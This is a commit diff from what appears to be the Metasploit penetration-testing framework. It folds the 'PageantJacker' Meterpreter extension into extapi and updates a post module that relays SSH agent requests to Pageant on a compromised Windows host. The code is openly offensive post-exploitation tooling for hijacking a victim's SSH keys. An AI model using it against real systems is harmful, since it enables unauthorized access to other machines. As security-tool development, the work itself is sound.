Merge pull request #1 from bcook-r7/land-5380-pageantjacker

update pageantjacker to run as part of extapi
This commit is contained in:
Stuart 2015-09-23 09:45:53 +01:00
commit 853d822992
7 changed files with 66 additions and 147 deletions

View File

@ -6,6 +6,7 @@ require 'rex/post/meterpreter/extensions/extapi/service/service'
require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard'
require 'rex/post/meterpreter/extensions/extapi/adsi/adsi'
require 'rex/post/meterpreter/extensions/extapi/ntds/ntds'
require 'rex/post/meterpreter/extensions/extapi/pageant/pageant'
require 'rex/post/meterpreter/extensions/extapi/wmi/wmi'
module Rex
@ -36,6 +37,7 @@ class Extapi < Extension
'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client),
'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client),
'ntds' => Rex::Post::Meterpreter::Extensions::Extapi::Ntds::Ntds.new(client),
'pageant' => Rex::Post::Meterpreter::Extensions::Extapi::Pageant::Pageant.new(client),
'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client)
})
},

View File

@ -0,0 +1,44 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Extapi
module Pageant
###
# PageantJacker extension - Hijack and interact with Pageant
#
# Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
#
###
class Pageant
def initialize(client)
@client = client
end
def forward(blob, size)
return nil unless size > 0 && blob.size > 0
packet_request = Packet.create_request('extapi_pageant_send_query')
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN, size)
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN, blob)
response = client.send_request(packet_request)
return nil unless response
{
success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_STATUS),
blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB),
error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE)
}
end
attr_accessor :client
end
end
end
end
end
end
end

View File

@ -75,6 +75,12 @@ TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_E
TLV_TYPE_NTDS_TEST = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 80)
TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 81)
TLV_TYPE_EXTENSION_PAGEANT_STATUS = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 85)
TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 86)
TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 87)
TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 88)
TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 89)
TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90)
TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91)
TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92)

View File

@ -1,56 +0,0 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/pageantjacker/tlv'
module Rex
module Post
module Meterpreter
module Extensions
module Pageantjacker
###
#
# PageantJacker extension - Hijack and interact with Pageant
#
# Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
#
###
class Pageantjacker < Extension
def initialize(client)
super(client, 'pageantjacker')
client.register_extension_aliases(
[
{
'name' => 'pageantjacker',
'ext' => self
},
])
end
def forward_to_pageant(blob,size)
return unless size > 0
return unless blob.size > 0
packet_request = Packet.create_request('pageant_send_query')
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN, size)
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN, blob)
response = client.send_request(packet_request)
return nil if !response
pageant_plugin_response = {
success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS),
blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB),
error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE)
}
return pageant_plugin_response
end
end
end; end; end; end; end

View File

@ -1,18 +0,0 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Pageantjacker
TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 1)
TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2)
TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 3)
TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 4)
TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 5)
end
end
end
end
end

View File

@ -1,60 +0,0 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter'
module Rex
module Post
module Meterpreter
module Ui
###
#
# PageantJacker extension
#
###
class Console::CommandDispatcher::PageantJacker
Klass = Console::CommandDispatcher::PageantJacker
include Console::CommandDispatcher
def initialize(shell)
super
print_line
print_line
print_line(" .mMMMMMm. mMMm M WWW W W RRRRR")
print_line(" mMMMMMMMMMMM. MM MM W W W R R")
print_line(" /MMMM- -MM. MM MM W W W R R")
print_line(" /MMM. _ \/ ^ M M M M W W W W RRRR")
print_line(" |M. aRRr /W| M M M M W W W W R R")
print_line(" \/ .. ^^^ wWWW| M M M W W R R")
print_line(" /WW\. .wWWWW/ M M M W W R R")
print_line(" |WWWWWWWWWWW/")
print_line(" .WWWWWW. PageantJacker Extension")
print_line(" stuart.morgan@mwrinfosecurity.com")
print_line
print_line(" Use post/windows/manage/forward_pageant to proxy through Pageant")
print_line
end
#
# List of supported commands.
#
def commands
{
# No commands here, bceause everything is done from the POST module
}
end
#
# Name for this dispatcher
#
def name
"PageantJacker"
end
end
end
end
end
end

View File

@ -38,6 +38,19 @@ class Metasploit3 < Msf::Post
], self.class)
end
def setup
unless session.extapi
vprint_status("Loading extapi extension...")
begin
session.core.use("extapi")
rescue Errno::ENOENT
print_error("This module is only available in a windows meterpreter session.")
return
end
end
end
def run
# Check to ensure that UNIX sockets are supported
begin
@ -47,18 +60,6 @@ class Metasploit3 < Msf::Post
return false
end
# Attempt to load the pageantjacker extension if it isn't already loaded.
unless session.pageantjacker
print_status("Loading PageantJacker extension on session #{session.sid} (#{session.session_host})")
session.core.use("pageantjacker")
end
# Fail if it cannot be loaded
unless session.pageantjacker
print_error("Failed to load PageantJacker on session #{session.sid} (#{session.session_host})")
return false
end
# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)
if datastore['SocketPath']
@sockpath = datastore['SocketPath'].to_s
@ -84,7 +85,7 @@ class Metasploit3 < Msf::Post
socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX
break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty?
vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})")
response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size)
response = session.extapi.pageant.forward(socket_request_data.first, socket_request_data.first.size)
if response[:success]
begin
s.send response[:blob], 0